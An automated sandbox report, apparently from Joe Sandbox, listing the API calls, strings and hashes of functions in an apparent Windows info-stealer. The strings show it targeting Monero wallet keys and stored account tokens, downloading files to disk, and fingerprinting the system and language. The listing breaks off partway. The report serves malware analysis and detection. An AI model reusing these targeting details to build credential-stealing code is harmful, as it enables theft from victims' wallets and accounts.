Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: f8af55e4fbd8b9192894ecc493644465d518eb272f5fa56a6660beeed2c3ca8e
Instruction ID: 771e27f2de0de81b381d4c30dd8536589dabf1bcffb8ac7fd034617b51bb499e
Opcode Fuzzy Hash: f8af55e4fbd8b9192894ecc493644465d518eb272f5fa56a6660beeed2c3ca8e
Instruction Fuzzy Hash: C4612DB590416C9BDB24DB50CC45BEAB7B8BF44304F0081EAE689A6181DF785FC9CF95

Function 00508100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,012DD800,00000000,?,00510E2C,00000000,?,00000000), ref: 00508130
RtlAllocateHeap.NTDLL(00000000), ref: 00508137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00508158
__aulldiv.LIBCMT ref: 00508172
__aulldiv.LIBCMT ref: 00508180
wsprintfA.USER32 ref: 005081AC

Strings

%d MB, xrefs: 005081A3
@, xrefs: 0050814D

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 0cf84fe89201dac4a6d889ef44f5d2b9356f99571822cd183f5e61b6d4a518f0
Instruction ID: a4763e02ce47656cea698d260372a89547865ac741c23003df6c2147749da9b1
Opcode Fuzzy Hash: 0cf84fe89201dac4a6d889ef44f5d2b9356f99571822cd183f5e61b6d4a518f0
Instruction Fuzzy Hash: 03214FB1E44209ABEB00DFD4DC4AFAEBB78FB44710F104509F605BB2C0C77859018BA5

Function 004F60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004F4839
Part of subcall function 004F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004F4849

InternetOpenA.WININET(00510DF7,00000001,00000000,00000000,00000000), ref: 004F610F
StrCmpCA.SHLWAPI(?,012DE250), ref: 004F6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004F618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004F61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 004F61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004F620A
CloseHandle.KERNEL32(?,?,00000400), ref: 004F6249
InternetCloseHandle.WININET(?), ref: 004F6253
InternetCloseHandle.WININET(00000000), ref: 004F6260

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: fb04d4db6778a419b73fdc289d16acda3b8ca2561cd03506223b250ed7355eda
Instruction ID: 314224634bd193336dc9c2b81fb1575dbeda2600134abfd065aa3f61922e5f73
Opcode Fuzzy Hash: fb04d4db6778a419b73fdc289d16acda3b8ca2561cd03506223b250ed7355eda
Instruction Fuzzy Hash: 6F51737190021CABEB20DF50DD4ABEE77B8FB44701F108099B745A71C1DB786A85CF9A

Function 004FBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

lstrlen.KERNEL32(00000000), ref: 004FBC9F

Part of subcall function 00508E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00508E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 004FBCCD
lstrlen.KERNEL32(00000000), ref: 004FBDA5
lstrlen.KERNEL32(00000000), ref: 004FBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 004FBBEB
AccountTokens, xrefs: 004FBABA
AccountTokens, xrefs: 004FBB49
AccountId, xrefs: 004FBCC4

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 90c044207d3dc4ba7471d8c792b717ab712b91cb7a0ed24faebd787e7bdbe09d
Instruction ID: 9f9ee5a131d23718cbcd3883e3a82be90f9a5f3ceb6ce190fd108d3acbdea86b
Opcode Fuzzy Hash: 90c044207d3dc4ba7471d8c792b717ab712b91cb7a0ed24faebd787e7bdbe09d
Instruction Fuzzy Hash: 63B11771910209ABDB04FBA0DD5AEEE7B3CBF94300F408559F507A61D1EF346A49CBA6

Function 00506770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00506774
ExitProcess.KERNEL32 ref: 005067A5
ExitProcess.KERNEL32 ref: 005067AF
ExitProcess.KERNEL32 ref: 005067B9
ExitProcess.KERNEL32 ref: 005067C3
ExitProcess.KERNEL32 ref: 005067CD

Strings

*, xrefs: 0050678C

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5773b925f38f0ea219073393d75b6596a8f303faa790c67175db13187bfcf6d8
Instruction ID: 3b25880f2a4bb3152b044906734e031d7a295b81f6568d22c39a7ac47761330e
Opcode Fuzzy Hash: 5773b925f38f0ea219073393d75b6596a8f303faa790c67175db13187bfcf6d8
Instruction Fuzzy Hash: 15F0823090520AFFE3449FE0E94A76C7B70FB04703F048198F649862D0D6784B51DB9A

Function 004F4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004F4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 004F4FD1
InternetOpenA.WININET(00510DDF,00000000,00000000,00000000,00000000), ref: 004F4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 004F5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 004F5041
InternetCloseHandle.WININET(?), ref: 004F50B9
InternetCloseHandle.WININET(?), ref: 004F50C6

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 0c1c69ec0e77308a4c8fb735f790a53faa94c9cd4d862bec7c5dad39f37ae44b
Instruction ID: d6a9cadc63fff24144ef9a3e63aefa45a62cbd09571de04a4a26fc2f05fd1ac7
Opcode Fuzzy Hash: 0c1c69ec0e77308a4c8fb735f790a53faa94c9cd4d862bec7c5dad39f37ae44b
Instruction Fuzzy Hash: DA31E4B4A00218ABDB20CF54DC89BDDB7B4FB48705F1081D9EB49A7281DB746AC58F9D

Function 005083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00508426
wsprintfA.USER32 ref: 00508459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0050847B
RegCloseKey.ADVAPI32(00000000), ref: 0050848C
RegCloseKey.ADVAPI32(00000000), ref: 00508499

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

RegQueryValueExA.ADVAPI32(00000000,012DD968,00000000,000F003F,?,00000400), ref: 005084EC
lstrlen.KERNEL32(?), ref: 00508501
RegQueryValueExA.ADVAPI32(00000000,012DDAA0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00510B34), ref: 00508599
RegCloseKey.ADVAPI32(00000000), ref: 00508608
RegCloseKey.ADVAPI32(00000000), ref: 0050861A

Strings

%s\%s, xrefs: 0050844D

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: a48ca140795fc184586abaaf61e931adf379ccaeef0a2a13a97f81f96cbb6441
Instruction ID: a8d2074dde2e42a619b8916c7a6770372c9051961d585c30beabc09be202d3c3
Opcode Fuzzy Hash: a48ca140795fc184586abaaf61e931adf379ccaeef0a2a13a97f81f96cbb6441
Instruction Fuzzy Hash: 6F212A7190022CABEB24DB54DC85FE9B7B8FB48701F00C5D8E649A6280DF756A85CFD4

Function 00507690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005076A4
RtlAllocateHeap.NTDLL(00000000), ref: 005076AB
RegOpenKeyExA.ADVAPI32(80000002,012CB738,00000000,00020119,00000000), ref: 005076DD
RegQueryValueExA.ADVAPI32(00000000,012DD830,00000000,00000000,?,000000FF), ref: 005076FE
RegCloseKey.ADVAPI32(00000000), ref: 00507708

Strings

Windows 11, xrefs: 005076BD

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: ccbc9e0320f5f9ea425136dffc4a0e1f5f5271ae1a030f69f62fb29b4ce00a55
Instruction ID: 542751fffaa7098881bd52a18bcbbdeda1cef132fe4fd5d614c4f7b812dfaeef
Opcode Fuzzy Hash: ccbc9e0320f5f9ea425136dffc4a0e1f5f5271ae1a030f69f62fb29b4ce00a55
Instruction Fuzzy Hash: 800162B5A04308BBFB00DBE4DC4EFADBBB8EB48702F108458FA45D72D0D679A9448B55

Function 00507720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00507734
RtlAllocateHeap.NTDLL(00000000), ref: 0050773B
RegOpenKeyExA.ADVAPI32(80000002,012CB738,00000000,00020119,005076B9), ref: 0050775B
RegQueryValueExA.ADVAPI32(005076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0050777A
RegCloseKey.ADVAPI32(005076B9), ref: 00507784

Strings

CurrentBuildNumber, xrefs: 00507771

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: bb6147bc456d435e74eca7d3916afac2834369bd917e5d78535e3b3565ed4244
Instruction ID: 5e24f252165491d01a4b146547cfe97effd9b0dab34a75f9e2655c16ab56e2d8
Opcode Fuzzy Hash: bb6147bc456d435e74eca7d3916afac2834369bd917e5d78535e3b3565ed4244
Instruction Fuzzy Hash: CB0167B5A40308BBEB00DBE0DC4AFAEB7B8FB48701F008558FA45A7281D67465408B55

Function 005092E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:P,80000000,00000003,00000000,00000003,00000080,00000000,?,00503AEE,?), ref: 005092FC
GetFileSizeEx.KERNEL32(000000FF,:P), ref: 00509319
CloseHandle.KERNEL32(000000FF), ref: 00509327

Strings

:P, xrefs: 00509311, 0050933D, 00509314
:P, xrefs: 005092F8, 005092FB

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :P$:P
API String ID: 1378416451-3735559389
Opcode ID: 0641e2be534480ef8beb32e2c67ba189c40cb593acfa152deb038a40203f88b7
Instruction ID: 69351ad83931a66b1d25cadfd91bc840e5787cedffb9752c8c3d8ca6ca332e5d
Opcode Fuzzy Hash: 0641e2be534480ef8beb32e2c67ba189c40cb593acfa152deb038a40203f88b7
Instruction Fuzzy Hash: 19F04F75E44208BBEB10DFB4DC4AF9E7BB9FB48711F10CA54BA51A72C4D674A6018F44

Function 005040B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005040D5
RegOpenKeyExA.ADVAPI32(80000001,012DD618,00000000,00020119,?), ref: 005040F4
RegQueryValueExA.ADVAPI32(?,012DDD88,00000000,00000000,00000000,000000FF), ref: 00504118
RegCloseKey.ADVAPI32(?), ref: 00504122
lstrcat.KERNEL32(?,00000000), ref: 00504147
lstrcat.KERNEL32(?,012DDBF0), ref: 0050415B

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
